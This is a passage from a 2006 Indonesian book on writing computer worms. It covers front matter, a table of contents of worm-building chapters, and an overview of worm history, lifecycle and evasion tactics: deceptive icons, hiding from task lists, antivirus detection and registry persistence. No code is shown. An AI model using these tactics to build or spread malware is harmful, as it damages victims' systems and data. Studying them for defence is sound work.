Upload
thecrasher
View
849
Download
2
Embed Size (px)
DESCRIPTION
menjelaskan bagaimana cara kerja dan pembuatan worm komputer
Citation preview
Hak Cipta dilindungi Undang-Undang. Dilarang memperbanyak atau memindahkan sebagian atau seluruh isi buku ini dalam bentuk apapun, baik secara elektronis maupun mekanis, termasuk memfotocopy, merekam atau dengan sistem penyimpanan lainnya, tanpa izin tertulis dari Penulis dan Penerbit.
ISBN 979-1090-01-7
Cetakan pertama : Juli 2006
Computer Worm 1 - Secret of Underground CodingHak Cipta © 2006 pada penulis
Ketentuan pidana pasal 72 UU No. 19 tahun 2002
1. Barang siapa dengan sengaja dan tanpa hak melakukan kegiatan sebagaimana dimaksud dalam pasal 2 ayat (1) atau pasal 49 ayat (1) dan ayat (2) dipidana dengan pidana penjara paling singkat 1 (satu) bulan dan/atau denda paling sedikit Rp. 1.000.000 (satu juta rupiah) atau pidana penjara paling lama 7 (tujuh) tahun dan/atau denda paling banyak Rp. 5.000.000.000.00 (lima miliar rupiah).
2. Barang siapa dengan sengaja menyiarkan, memamerkan, mengedarkan, atau menjual kepada umum suatu Ciptaan atau barang hasil pelanggaran Hak Cipta atau Hak Terkait sebagaimana dimaksud pada ayat (1), dipi-dana dengan pidana penjara paling lama 5 (lima) tahun dan/atau denda paling banyak Rp. 500.000.000,00 (lima ratus juta rupiah)
Publisher JasakomWeb Site http://www.jasakom.comEmail [email protected]
Toko Online www.TokoMahal.com
Computer Worm 1Secret of Underground Coding
Versi eBooktanpa CD pendukung
Buku ini disertai dengan sebuah CD pendukung yang berisi film tutorial sehingga pembaca bukan saja hanya membaca buku tetapi juga bisa melihat langsung teknik pembuatan suatu worm komputer, kemudian kumpulan source code / listing code yang digunakan pada buku dan beberapa program pendukung sebagai berikut:
DEMOWAREVM Ware 55.9 MB
Virtual PC 17.1 MB
DeepFreeze 2.06 MB
ShadowUser 7.80 MB
ASPack 297 KB
UltraEdit 1.69 MB
FREEWAREA Squared HijackFree 497 KB
CXUPX 419 KB
Darmal’s Packer 730 KB
DOS 7.10 765 KB
DropFile Script Generator 21.5 KB
HHD Hex Editor 2.07 MB
Icon Sucker Std 658 KB
KillBox 67,5 KB
Petite 117 KB
Process Explorer 1.24 MB
Registrar Lite 2.28 MB
Resource Hacker 1.32 MB
UPX 1.25 163 KB
UPX Mutanter 38.9 KB
UPX Scrambler 17.5 KB
UPX Windows GUI 199 KB
I S I C D P E N D U K U N G
Jasakomv
Com
pute
r W
orm
1 -
Secr
et o
f Und
ergr
ound
Cod
ingKATA PENGANTAR
Puji syukur ke hadirat Allah SWT, atas berkat dan rahmat-Nya pula sehingga penulis dapat menyelesaikan penulisan buku: Computer Worm ini dengan baik. Hingga buku ini selesai ditulis, penulis belum mendapatkan adanya buku yang khusus membahas mengenai worm komputer baik dengan mengunjungi ke toko-toko buku secara langsung maupun berkunjung secara online. Sedangkan hal ini sangat penting sekali, terlebih pada saat buku ini disusun dimana perkembangan dan tingkat penyebaran worm lokal di Indonesia sangat tinggi dan cende-rung semakin mengganas.
Ironisnya banyak sekali pengguna komputer yang tidak mengerti per-bedaan antara worm dan virus, sehingga worm seringkali diasumsikan sebagai suatu virus komputer dan banyak pula yang berasumsi bahwa worm merupakan suatu sub-class dari virus komputer, memang suatu kesalahan umum sehingga penulispun terkadang menggunakan istilah ini , lagipula penulis tidak berminat menjelaskan arti worm komputer (yang akan berbuntut dengan penjelasan panjang lebar tentang per-bedaannya dengan virus komputer) setiap kali penulis menyebutkan istilah worm komputer , penulis berpendapat momen inilah yang paling tepat untuk menjelaskannya kepada pembaca semua.
Buku ini bertujuan untuk menjelaskan kepada para pembaca, apa sesungguhnya worm komputer itu, apa perbedaanya dengan virus komputer, dan bagaimana worm tersebut diprogram.
Buku ini tidak hanya membahas tentang worm komputer saja, tetapi juga memuat beberapa materi standar yang harus diketahui dalam rangka membuat atau memerangi suatu worm komputer. Penulis berharap buku ini dapat menambah pengetahuan bagi penggemar TI, system administrator atau siapa saja yang selalu menggunakan komputer, dan bukan untuk mengajari hal-hal negatif kepada para pemula, tapi seba-
I S I C D P E N D U K U N G
Jasakomvi
Computer W
orm 1 - Secret of Underground Coding
liknya memberi kesadaran kepada mereka yang senantiasa melakukan hal-hal negatif untuk menghentikan tindakan negatif tersebut, lebih baik lagi apabila mereka juga memberi kontribusi untuk menghentikan perkembangan worm komputer dan malcode lainnya di bumi pertiwi ini. Membahas pembuatan suatu worm memerlukan pengertian akan tanggung jawab moral yang besar, karena worm komputer dapat menimbulkan dampak yang sangat fatal dan merugikan maka penulis sangat mengharapkan kebaikan moral para pembaca, selain itu penulis tidak bertanggung jawab apabila ada penyalahgunaan atas informasi, script atau program-program yang disertakan bersama buku ini.
Dalam kesempatan ini, penulis mengucapkan terima kasih kepada kedua orang tua penulis, seluruh dosen POLNES (Politeknik Negeri Samarinda) khususnya untuk Bapak Ruslan Ardi dan Bapak Arkas Viddy, kemudian salam penulis untuk alumni SMK Negeri 1 Tarakan angkatan 95 – 98, dan alumni POLNES angkatan 98 – 2001, salam juga untuk teman-teman di AMIK PPKIA Tarakan. Tidak lupa pula penulis mengucapkan terima kasih kepada penerbit Jasakom yang berkenan menerbitkan buku ini, special thank’s buat S’to yang sudah banyak membantu dalam proses pembentukan buku.
Akhir kata penulis penulis menyadari adanya kekurangan-kekurangan pada buku ini, maka dengan tidak merendahkan diri, penulis meng-harapkan kritik dan saran yang bersifat membangun, untuk itu silah-kan kirim e-mail Anda ke alamat e-mail penulis di: [email protected], dengan subjek: worm komputer (untuk menghindari spam mail, penulis membuat agar e-mail dengan subjek lain akan segera dihapus secara otomatis).
"Dengan mengetahui, mengerti dan menguasai teknik pembuatan suatu virus, worm atau malcode lainnya, sesungguhnya sudah tidak dibutuhkan tutorial lain
untuk memeranginya."
Jasakomvii
Com
pute
r W
orm
1 -
Secr
et o
f Und
ergr
ound
Cod
ingDaftar Isi
KATA PENGANTAR v
BAB 1 PENDAHULUAN 1
BAB 2 MENGENAL WORM 52.1 ASAL MULA WORM KOMPUTER 6
2.2 PERBEDAAN WORM DAN VIRUS 8
2.3 KEMAMPUAN DASAR WORM 9
2.3.1 KEMAMPUAN REPRODUKSI DAN DISTRIBUSI 9
2.3.2 KEMAMPUAN REKAYASA SOSIAL 9
2.3.3 KEMAMPUAN MENYEMBUNYIKAN DIRI 10
2.3.4 KEMAMPUAN MENDAPATKAN INFORMASI 10
2.3.5 KEMAMPUAN MENGADAKAN MANIPULASI 10
2.4 SIKLUS HIDUP WORM 11
2.4.1 PROPAGATION PHASE ( FASE PENYEBARAN ) 11
2.4.2 DORMANT PHASE ( FASE ISTIRAHAT/TIDUR ) 11
2.4.3 TRIGERRING PHASE ( FASE AKTIF ) 11
2.4.4 EXECUTION PHASE ( FASE EKSEKUSI ) 11
2.5 PERKEMBANGAN WORM NON LOKAL 12
2.5.1 CHRISTMA EXEC 12
2.5.2 MORRIS 12
2.5.3 HAPPY99 13
2.5.4 MELISA 13
2.5.5 PRETTY PARK 14
2.5.6 EXPLORE ZIP 14
2.5.7 BUBBLE BOY 15
2.5.8 LOVE LETTER 16
2.5.9 HYBRIS 16
Jasakomviii
Computer W
orm 1 - Secret of Underground Coding
2.5.10 ANNA KOURNIKOVA 17
2.5.11 SADMIND 17
2.5.12 CODE RED 17
2.5.13 NIMDA 18
2.5.14 BADTRANS.B 19
2.5.15 KLEZ 20
2.5.16 SLAMMER 21
2.5.17 BAGLE 21
2.5.18 NETSKY 22
2.6 PERKEMBANGAN WORM LOKAL 22
2.6.1 I-WORM PERKASA 22
2.6.2 PESIN 23
2.6.3 TABARU 23
2.6.4 KANGEN 24
2.6.5 KUMIS 24
2.6.6 DECOIL 25
2.6.7 RONTOKBRO 25
2.6.8 NOBRON 25
2.6.9 RUNITIS 26
2.6.10 BLUEFANTASY 26
2.6.11 ROMDIL 27
2.6.12 MYBRO 27
2.6.13 IRCBOT.AQF 28
2.6.14 LIGHTMOON 28
BAB 3 REGISTRY WINDOWS 293.1 STRUKTUR REGISTRY 30
3.1.1 HIVE 31
3.1.2 VALUE 31
3.2 REGISTRY EDITOR (REGEDIT) 32
3.2.1 MEMBUKA APLIKASI REGISTRY EDITOR 32
3.2.2 LINGKUNGAN KERJA REGISTRY EDITOR 33
Jasakomix
Com
pute
r W
orm
1 -
Secr
et o
f Und
ergr
ound
Cod
ing3.3 OPERASI DASAR REGISTRY EDITOR 33
3.3.1 BACKUP & RESTORE REGISTRY 34
3.3.2 EXPORT & IMPORT DATA REGISTRY 35
3.3.3 MANIPULASI KEY & VALUE 35
3.3.4 PENCARIAN TEKS PADA KEY, VALUE ATAU DATA 37
3.3.5 MENGGUNAKAN PERINTAH BARIS (COMMAND LINE) 38
3.3.6 MEMANFAATKAN FILE REG 39
BAB 4 MENGENAL VISUAL BASIC 6.0 414.1 LINGKUNGAN KERJA VISUAL BASIC 42
4.1.1 MENUBAR 43
4.1.2 TOOLBAR 43
4.1.3 PROJECT EXPLORER 43
4.1.4 PROPERTIES WINDOWS 44
4.1.5 FORM LAYOUT WINDOW 44
4.1.6 TOOLBOX 44
4.1.7 FORM WINDOW 45
4.1.8 CODE WINDOW 45
4.2 PEMBUATAN APLIKASI 46
4.2.1 MEMBUAT PROYEK 46
4.2.2 MENYISIPKAN CONTROL 47
4.2.3 SETTING PROPERTIES 47
4.2.4 MENGETIK KODE PROGRAM 47
4.2.5 MENYIMPAN PROGRAM 48
4.2.6 MENJALANKAN PROGRAM 48
4.2.7 KOMPILASI PROGRAM MENJADI EXE 49
BAB 5 OBJECT FORM DAN CONTROL 515.1 FORM 53
5.2 KONTROL 54
5.2.1 PICTUREBOX 55
5.2.2 LABEL 56
5.2.3 TEXTBOX 57
Jasakomx
Computer W
orm 1 - Secret of Underground Coding
5.2.4 FRAME 58
5.2.5 COMMANDBUTTON 58
5.2.6 CHECKBOX 59
5.2.7 OPTIONBUTTON 60
5.2.8 COMBOBOX 61
5.2.9 LISTBOX 62
5.2.10 HSCROLLBAR 63
5.2.11 VSCROLLBAR 64
5.2.12 TIMER 65
5.2.13 DRIVELISTBOX 66
5.2.14 DIRLISTBOX 66
5.2.15 FILELISTBOX 67
5.2.16 SHAPE 68
5.2.17 LINE 69
5.2.18 IMAGE 69
5.2.19 DATA 70
5.2.20 OLE 71
BAB 6 KODE PROGRAM 736.1 VARIABEL 74
6.1.1 IMPLICIT 75
6.1.2 EXPLICIT 76
6.2 STATEMENTS AND EXPRESSIONS 77
6.3 OPERATOR 78
6.3.1 OPERATOR PENUGASAN (ASSIGNMENT) 78
6.3.2 OPERATOR ARITMATIKA 78
6.3.3 OPERATOR KOMPARASI 79
6.3.4 OPERATOR LOGIKA 80
6.4 PERCABANGAN (BRANCHING) 81
6.4.1 PERCABANGAN IF/THEN/ELSE 81
6.4.2 PERCABANGAN SELECT CASE 82
6.4.3 PERCABANGAN GOSUB/RETURN 83
6.4.4 PERCABANGAN GOTO 83
6.4.5 PERCABANGAN ON ERROR 84
Jasakomxi
Com
pute
r W
orm
1 -
Secr
et o
f Und
ergr
ound
Cod
ing6.5 PENGULANGAN (LOOPING) 85
6.5.1 DO WHILE/LOOP 85
6.5.2 DO UNTIL/LOOP 85
6.5.3 DO/LOOP WHILE 85
6.5.4 DO/LOOP UNTIL 86
6.5.5 FOR/NEXT 86
6.6 PENGHENTIAN (TERMINATING) 87
6.6.1 END 87
6.6.2 EXIT 87
6.6.3 STOP 88
6.7 ARRAY 88
6.7.1 DEKLARASI DENGAN VARIABEL TUNGGAL 88
6.7.2 DEKLARASI DENGAN KEYWORD TO 89
6.8 PENANGANAN FILE 90
6.8.1 MENGUBAH NAMA DAN MEMINDAH FILE 90
6.8.2 MEMBUAT SALINAN / MENG-COPY FILE 91
6.8.3 MENGHAPUS FILE 91
6.8.4 MELIHAT DAN MENGUBAH ATRIBUT PADA FILE 92
6.8.5 MENGETAHUI BESAR FILE 93
6.8.6 MENGETAHUI TANGGAL DAN WAKTU FILE 94
6.8.7 MENGETAHUI DRIVE DAN DIREKTORI AKTIF 94
6.8.8 MENGATUR DRIVE AKTIF 95
6.8.9 MENGATUR DIREKTORI AKTIF 95
6.8.10 MEMBUAT DIREKTORI BARU 96
6.8.11 MENGHAPUS DIREKTORI 96
6.8.12 MENGUBAH NAMA DIREKTORI 97
6.9 OPERASI FILE TEXT 97
6.9.1 MEMBUAT FILE TEXT 97
6.9.2 MEMBACA FILE TEXT 98
6.10 OPERASI FILE BINARY 99
6.10.1 MEMBUAT FILE BINARY 99
6.10.2 MEMBACA FILE BINARY 100
6.11 FILE SYSTEM OBJECT (FSO) 101
Jasakomxii
Computer W
orm 1 - Secret of Underground Coding
BAB 7 WORM WSar.1 1037.1 WORM DASAR 1 105
7..2 ALGORITMA 106
7.3 PEMROGRAMAN 106
BAB 8 WORM WSar.2 1178.1 ALGORITMA 117
8.2 PEMROGRAMAN 118
BAB 9 WORM WSar.3 1259.1 ALGORITMA 125
9.2 PEMROGRAMAN 126
BAB 10 WORM WSar.4 13510.1 ALGORITMA 135
10.2 PEMROGRAMAN 136
BAB 11 WORM WSar.5 15111.1 ALGORITMA 152
11.2 PEMROGRAMAN 153
BAB 12 WORM WSar.6 16512.1 ALGORITMA 166
12.2 PEMROGRAMAN 166
BAB 13 WORM WSar.7 17913.1 COMPARISON METHODE 180
13.2 ALGORITMA 191
13.3 PEMROGRAMAN 191
Jasakomxiii
Com
pute
r W
orm
1 -
Secr
et o
f Und
ergr
ound
Cod
ingBAB 14 WORM WSar.8 207
14.1 WATCHER METHODE 208
14.2 ENCRYPTION METHODE 209
14.3 POLYMORPHIC METHODE 212
14.4 ALGORITMA 214
14.5 PEMROGRAMAN 215
BAB 15 WORM WSar.9 24315.1 DROP FILE METHODE 244
15.2 ALGORITMA 250
15.3 PEMROGRAMAN 251
1Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
1. P
enda
hulu
an
BAB 1PENDAHULUAN
Seiring dengan pesatnya kemajuan teknologi informasi khususnya dibidang teknologi komputer dan jaringan, keamanan menjadi isu yang kerap kali dibahas, mulai dari ancaman langsung para
cracker atau hacker jahat hingga ancaman yang dilakukan melalui suatu program yang disebut malcode (malicious code). Suatu program atau script apapun yang bersifat merusak atau merugikan dapat dikategorikan sebagai malcode termasuk virus komputer, worm atau trojan horse.
Maraknya penyebaran virus, worm atau trojan horse, ternyata semakin memberikan semangat bagi para pembuat worm lokal untuk terus berkarya. Di Indonesia sendiri worm lokal mulai menunjukan aktifitas yang cukup signifikan di awal era millenium, pada tahun 2003 peng-guna komputer di Indonesia disibukkan oleh sebuah worm lokal yang diperkirakan berhasil menginfeksi ribuan komputer di Indonesia.
2Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 1. P
endahuluan
Worm ini kemudian oleh salah satu perusahaan antivirus terkenal diberi nama w32/pesin.worm.gen, bersamaan dengan munculnya varian-varian worm Pesin yang baru, ikut muncul sejumlah worm lokal lainnya seperti diberitakan sebuah situs Indonesia yang konsen terhadap malcode, www.vaksin.com.
Bahkan pada saat buku ini ditulis, aktifitas worm di Indonesia semakin meningkat, terbukti dari sejumlah forum, penulis menemukan beberapa posting yang menunjukan adanya gejala-gejala penyebaran worm lokal yang baru. Motif yang digunakan semakin beragam, mulai dari hanya sekedar "pamer", sampai dengan pengrusakan dan pencurian data.
Media penyebaran pun semakin canggih mulai dari disket, USB flash disk sampai dengan jaringan termasuk internet. Namun satu hal yang pasti, penyebaran worm tersebut telah membawa dampak yang cukup besar bagi para pengguna komputer baik materiil maupun non mate-riil.
Penulis berharap buku ini dapat menambah pengetahuan bagi pengge-mar TI, system administrator atau siapa saja yang selalu menggunakan komputer, dan bukan untuk mengajari hal-hal negatif kepada para pemula, tapi sebaliknya memberi kesadaran kepada mereka yang senantiasa melakukan hal-hal negatif untuk menghentikan tindakan negatif tersebut. Lebih baik lagi apabila mereka juga memberi kontri-busi untuk menghentikan perkembangan worm komputer dan malcode lainnya di bumi pertiwi ini.
Buku ini akan menunjukan bagaimana seorang worm writer membuat suatu worm komputer, dan bagaimana memerangi worm tersebut dengan cara yang nyaris sama. Secara umum buku ini akan membi-carakan tujuh hal bidang utama, yaitu:
1. Mengenal worm komputer2. Menggunakan registry pada Microsoft Windows3. Menggunakan Visual Basic 6.04. Pemrograman worm komputer5. Membuat program removal6. Pemrograman virus komputer7. Kompresi dengan UPX
3Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
1. P
enda
hulu
an
Buku ini juga disertai sebuah CD yang berisi video tutorial untuk menambah pemahaman Anda dalam mempelajari buku ini, kemudian kumpulan source code yang digunakan sebagai latihan dan beberapa program-program pendukung.
Perlu Anda ketahui bahwa seluruh software tersebut berlisensi free-ware (gratis) dan freetrial (gratis coba) sehingga Anda tidak dikenakan biaya apapun untuk software tersebut kecuali biaya CD dan ongkos pembuatannya, penulis tak lebih hanya men-download-kannya untuk Anda.
Membahas pembuatan suatu worm memerlukan pengertian akan tang-gung jawab moral yang besar, karena worm komputer dapat menim-bulkan dampak yang sangat fatal dan merugikan maka penulis sangat mengharapkan kebaikan moral para pembaca. Selain itu, penulis tidak bertanggung jawab apabila ada penyalahgunaan atas informasi, script atau program-program yang disertakan bersama buku ini.
"Dengan mengetahui, mengerti dan menguasai teknik pembuatan suatu virus, worm atau malcode lainnya, sesungguhnya sudah tidak dibutuhkan tutorial lain
untuk memeranginya."
5Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
2. M
enge
nal W
orm
BAB 2MENGENAL WORM
Kenapa bab ini ada?
Seorang administrator sistem bisa dengan cepat mengetahui apabila suatu worm yang sama menginfeksi sebuah sistem dengan melihat gejala yang ditimbulkan. Selain itu untuk membuat suatu program removal juga diperlukan pengetahuan tentang worm, dan pengetahuan tersebut bisa berupa teori, sejarah perkembangan atau catatan singkat tentang worm yang pernah ada.
6Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 2. M
engenal Worm
2.1 ASAL MULA WORM KOMPUTER
Gagasan worm dan virus berawal pada tahun 1949, saat seorang founder Electronic Discrete Variable Automatic Computer (EDVAC), John Von Newman, memaparkan dalam sebuah
papernya yang berjudul "Theory and Organization of Complicated Automata", dibahas suatu kemungkinan bahwa suatu program dapat melakukan penyebaran dengan sendirinya.
Kemudian pada tahun 1960-an, para peneliti AT&T Bell Laboratory membuat semacam permainan dengan menciptakan suatu program yang dapat memusnahkan program ciptaan lawan, dan mampu ber-tahan terhadap serangan program lawan lainnya.
Pada akhirnya si-pemenang adalah pemilik program yang tersisa paling banyak. Para peneliti sadar akan bahaya program tersebut, maka setiap selesai permainan program tersebut selalu dimusnahkan.
Cikal bakal program worm pertama kali dibuat oleh Bob Thomas pada tahun 1971. Program ini merupakan solusi dari kebutuhan system kendali lalu lintas udara.
Program ini akan membantu mengingatkan operator apabila pengendalian suatu pesawat udara berpindah dari satu komputer ke komputer lainnya. Sesungguhnya program yang disebut "creeper" ini hanya berpindah dari layar ke layar pada jaringan, dengan menampil-kan pesan "I’m creeper! Catch me if you can!". Tetapi program creeper tidak mereproduksi dirinya sendiri, hingga beberapa programmer lain mencoba membuat program serupa, tetapi gagasan tersebut berang-sur-angsur hilang dalam beberapa bulan kemudian.
Istilah "virus" mungkin sudah tidak asing terdengar, dapat dikatakan hampir setiap orang yang mengenal komputer juga mengenal istilah ini, sementara istilah "worm" tidak begitu dikenal, padahal istilah ini diciptakan oleh John Shoch dan Jon Hupp di Xerox PARC (Palo Alto Research Centre) pada tahun 1979 sebelum istilah virus komputer dipublikasikan.
Istilah worm ini ternyata diilhami oleh suatu program "tapeworm" (cacing pita) dalam sebuah novel fiksi ilmiah karangan John Brun-ner yang berjudul "The Shockwave Rider", yang mengisahkan suatu
7Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
2. M
enge
nal W
orm
pemerintahan totaliter yang mengendalikan warga negaranya melalui suatu jaringan komputer.
Untuk memerangi hal itu akhirnya seorang pahlawan dalam novel tersebut kemudian memenuhi jaringan dengan suatu program yang disebut "tapeworm" sehingga memaksa mematikan jaringan komputer yang secara otomatis juga menghilangkan kendali pemerintah terha-dap warga negaranya.
Kemudian diawal tahun 1980 John Shoch dan Jon Hupp mengadakan sebuah penelitian dengan mengembangkan lima buah program worm, masing-masing worm dibuat dengan tujuan tertentu yang membantu jaringan disekitarnya.
Beberapa worm terlihat sederhana, seperti worm "town crier" yang bertugas memasuki jaringan hanya untuk menampilkan pengumu-man. Worm lainnya terlihat lebih kompleks dan pintar, seperti worm "vampire".
Worm ini tidak akan melakukan kegiatan pada siang harinya, tetapi saat malam hari worm akan melakukan suatu kegiatan tertentu yang telah terprogram sebelumnya, ini berguna untuk memanfaatkan komputer yang tidak bekerja pada malam hari dengan memberikan tugas yang kompleks dan memerlukan daya proses yang lebih. Saat fajar, worm akan menghentikan pekerjaannya dengan terlebih dahulu menyimpan seluruh pekerjaan yang dilakukannya malam itu dan menunggu sore berikutnya.
Walau bagaimanapun, walaupun program ini berguna tapi disadari bahwa program ini juga akan sangat berbahaya apabila salah digu-nakan. Hal ini terbukti saat sebuah worm mengalami malfungsi pada suatu malam dan keesokan harinya para pekerja menemukan seluruh komputer yang ada pada jaringan tersebut mengalami crash (suatu kerusakan dimana system output dan input tidak berfungsi).
Lebih dari itu saat komputer dihidupkan kembali, worm malfungsi tersebut kembali membuat komputer crash. Pada akhirnya dibuat semacam vaksin untuk mencegah worm tersebut, dan mulai saat itu penelitian terhadap worm tersebut ditutup untuk umum.
8Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 2. M
engenal Worm
2.2 PERBEDAAN WORM DAN VIRUSIstilah "virus" selalu digunakan sebagai suatu acuan umum untuk setiap malcode (program atau script yang dibuat dengan tujuan mem-bahayakan atau merugikan sebuah system komputer), seperti worm, trojan bahkan hoax yang sesungguhnya bukan sebuah virus komputer, berikut adalah beberapa jenis malcode tersebut:
1. Computer virus: merujuk pada program yang memiliki kemam-puan untuk ber- reproduksi, menulari program lain dan menjadi-kan file-file program tertular sebagai file infector.
2. Computer worm: merujuk pada program independen yang memiliki kemampuan untuk ber-reproduksi, menulari system komputer dan walaupun mampu untuk menulari program lain namun tidak bertujuan untuk menjadikan file tertular tersebut sebagai suatu file infector.
3. Trojan horse: merujuk pada program independen yang tampaknya berguna, dan ketika dieksekusi, tanpa sepengetahuan pengguna, juga melaksanakan fungsi-fungsi yang bersifat destruktif dan merugikan.
4. Malicious toolkits: merujuk pada program yang didesain untuk membantu menciptakan program-program yang dapat memba-hayakan sebuah system komputer. Contoh dari program jenis ini adalah tool pembuat virus dan program yang dibuat untuk membantu proses cracking atau hacking.
Dari beberapa keterangan diatas dapat diperjelas bahwa worm adalah suatu algoritma atau program yang mereproduksi diri sendiri dari system ke system dengan menggunakan media penyimpanan atau suatu jaringan.
Worm tidak menginfeksi file program lain dengan tujuan menjadikan file terinfeksi tersebut sebagai file infector. Worm mampu bekerja
9Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
2. M
enge
nal W
orm
tanpa interaksi user, bisa merusak sebuah data secara langsung atau menurunkan kinerja system dengan "mengikat" sumber daya system komputer dan bahkan bisa mematikan sebuah jaringan. Berbeda dengan virus yang melakukan infeksi dengan 'menumpang’ pada file program lain, menunggu interaksi user dan menjadikan file terinfeksi sebagai file infector.
2.3 KEMAMPUAN DASAR WORMWorm umumnya memiliki kemampuan-kemampuan dasar berikut ini:
2.3.1 KEMAMPUAN REPRODUKSI DAN DISTRIBUSIYaitu kemampuan yang mutlak dimiliki suatu worm untuk membuat salinan dirinya, sekaligus mendistribusikan salinan tersebut pada system yang lain baik melalui media penyimpanan seperti disket, USB flash disk maupun melalui suatu jaringan komputer. Walaupun memiliki rutin untuk menginfeksi program lain namun tidak bertujuan menjadikan file program terinfeksi menjadi suatu file infector.
Pada awalnya worm dibuat dengan aksi memenuhi harddisk dan jaringan, namun seiring dengan perkembangan teknologi informasi hal ini akhirnya banyak ditinggalkan worm writer karena malah akan mengurangi kemampuannya untuk menyembunyikan diri, yang akan berakibat worm tersebut cepat "terendus" oleh advanced user atau bahkan perusahaan-perusahaan antivirus.
2.3.2 KEMAMPUAN REKAYASA SOSIALKarena file infector worm akan aktif saat user mengeksekusinya maka social engineering atau rekayasa sosial menjadi hal yang sangat penting bagi suatu worm.
10Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 2. M
engenal Worm
Layaknya seorang penjual yang mati-matian merayu calon pembeli maka worm akan 'merias’ programnya dengan icon dan nama yang sangat memikat agar user mengeksekusinya. Suatu worm bisa saja membuat salinan dirinya dengan nama file 'porno’ dan dengan gambar icon yang sangat tidak mencurigakan.
2.3.3 KEMAMPUAN MENYEMBUNYIKAN DIRIMenjaga tetap tidak diketahui adalah penting untuk worm jaman seka-rang agar tetap bertahan pada suatu system. Hal ini biasanya dilaku-kan dengan cara tidak menampilkan sesuatu dari worm baik berupa suara maupun tampilan visual, menyembunyikan program worm dari taskbar bahkan dari jendela tasklist.
2.3.4 KEMAMPUAN MENDAPATKAN INFORMASISuatu worm harus bisa mendapatkan informasi yang ia butuhkan, seperti jenis sistem operasi yang digunakan, direktori root, direktori System Windows bahkan worm umumnya memeriksa suatu system apakah telah terpasang antivirus atau tidak, lebih jauh lagi worm akan berusaha mengenali jenis antivirus yang terpasang.
2.3.5 KEMAMPUAN MENGADAKAN MANIPULASIUmumnya manipulasi dilakukan oleh worm untuk bertahan hidup,. Worm cenderung mengadakan manipulasi pada registry agar worm bisa tetap aktif saat komputer dihidupkan, bahkan memanipulasi reg-istry milik suatu antivirus agar tidak mengganggu worm tersebut. Tapi worm bisa saja mengadakan manipulasi yang terlepas dari tujuan tadi, seperti mengubah volume label pada harddisk atau disket.
11Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
2. M
enge
nal W
orm
2.4 SIKLUS HIDUP WORMSiklus hidup worm secara umum, melalui 4 tahap:
2.4.1 PROPAGATION PHASE ( FASE PENYEBARAN )Pada fase ini worm akan membuat salinan dirinya ke suatu tempat, baik pada media penyimpanan fix disk (tetap) atau removable disk (dapat dipindahkan), adapun penyebarannya dapat dilakukan pada system lokal, jaringan atau internet.
2.4.2 DORMANT PHASE ( FASE ISTIRAHAT/TIDUR )Pada fase ini worm tidaklah aktif. Worm akan diaktifkan oleh suatu kondisi tertentu, semisal: tanggal yang ditentukan, kehadiran program lain/dieksekusinya program lain, dan sebagainya. Tidak semua worm melalui fase ini.
2.4.3 TRIGERRING PHASE ( FASE AKTIF )Di fase ini worm tersebut akan aktif dan menetap pada memory, hal ini dipicu oleh metode launcher yang digunakan worm tersebut.
2.4.4 EXECUTION PHASE ( FASE EKSEKUSI )Pada fase inilah worm yang telah aktif tadi akan melakukan fungsinya. Seperti menghapus file, menampilkan pesan-pesan dan sebagainya.
12Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 2. M
engenal Worm
2.5 PERKEMBANGAN WORM NON LOKALBerikut ini beberapa catatan singkat tentang worm yang pernah ada dan membuat banyak kerugian para pengguna komputer.
2.5.1 CHRISTMA EXECPada tanggal 9 Desember 1987, worm "Christma Exec" menjadi worm pertama yang mampu menyebar dengan menggunakan media e-mail diantara komputer mainframe IBM. Worm ini juga menjadi contoh penggunaan social engineering, dengan mengajak user untuk mengek-sekusi worm tersebut dengan dalih akan menampilkan gambar pohon natal.
Worm tersebut memang menghasilkan gambar pohon natal pada layar monitor (digambar dengan menggunakan bahasa script yang disebut Rexx), tetapi worm tersebut juga mengirimkan salinan dirinya dengan menggunakan nama user kepada setiap nama yang ada pada daftar e-mail penerima, sehingga penerima percaya bahwa e-mail yang dikirimkan tersebut adalah benar dari user yang dikenal dan bersedia membukanya.
2.5.2 MORRISPada tanggal 2 Nopember 1988, worm Morris yang terkenal pada waktu itu berhasil melumpuhkan 6.000 komputer dalam beberapa jam. Worm tersebut dibuat oleh seorang siswa Cornell, Robert Morris Jr. Kemudian diadakan penyelidikan, sampai akhirnya Morris dijatuhkan hukuman pada tahun 1990.
Kesimpulan yang diperoleh adalah motivasi dalam menulis worm tersebut tidak diketahui dan worm tidak diprogram untuk sengaja melakukan pengrusakan, tetapi kerusakan yang ditimbulkan disebab-kan oleh kecelakaan dan kesalahan pemrograman.
Dibulan Oktober 1989, muncul sebuah worm bernama WANK (Worms Against Nuclear Killers) yang tampaknya belajar dari worm Morris dan melakukan penularan pada komputer VMS pada DECNet. Worm ini
13Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
2. M
enge
nal W
orm
menyebar dengan memanfaatkan e-mail dan mengeksploitasi system untuk mendapatkan hak akses dengan berusaha mencari account user name dan password.
2.5.3 HAPPY99Pada bulan Januari 1999, worm happy99 menyebar lewat e-mail dengan attachment sebuah file aplikasi bernama happy99.exe. Ketika file terse-but dieksekusi tampil gambar kembang api untuk memperingati tahun baru 1999, tetapi secara diam-diam memodifikasi file WSOCK32.DLL (file system untuk koneksi internet) dengan suatu program trojan horse yang mengijinkan worm tersebut menyisipkan dirinya pada proses komunikasi internet, sementara file WSOCK32.DLL yang asli diubah kembali namanya menjadi WSOCK32.SKA
2.5.4 MELISADi bulan Maret 1999, sebuah virus macro "Melisa" kembali meresahkan pengguna internet dengan menginfeksi 100.000 unit komputer hanya dalam waktu tiga hari.
Virus tersebut memulai penyebarannya dengan pengiriman perdana ke Usenet Newsgroup "alt.sex" yang menjanjikan account name berikut password untuk dapat mengakses sebuah situs erotis. Sebuah perusahaan antivirus Norton menyebutkan bahwa virus ini adalah penggabungan antara worm dan virus.
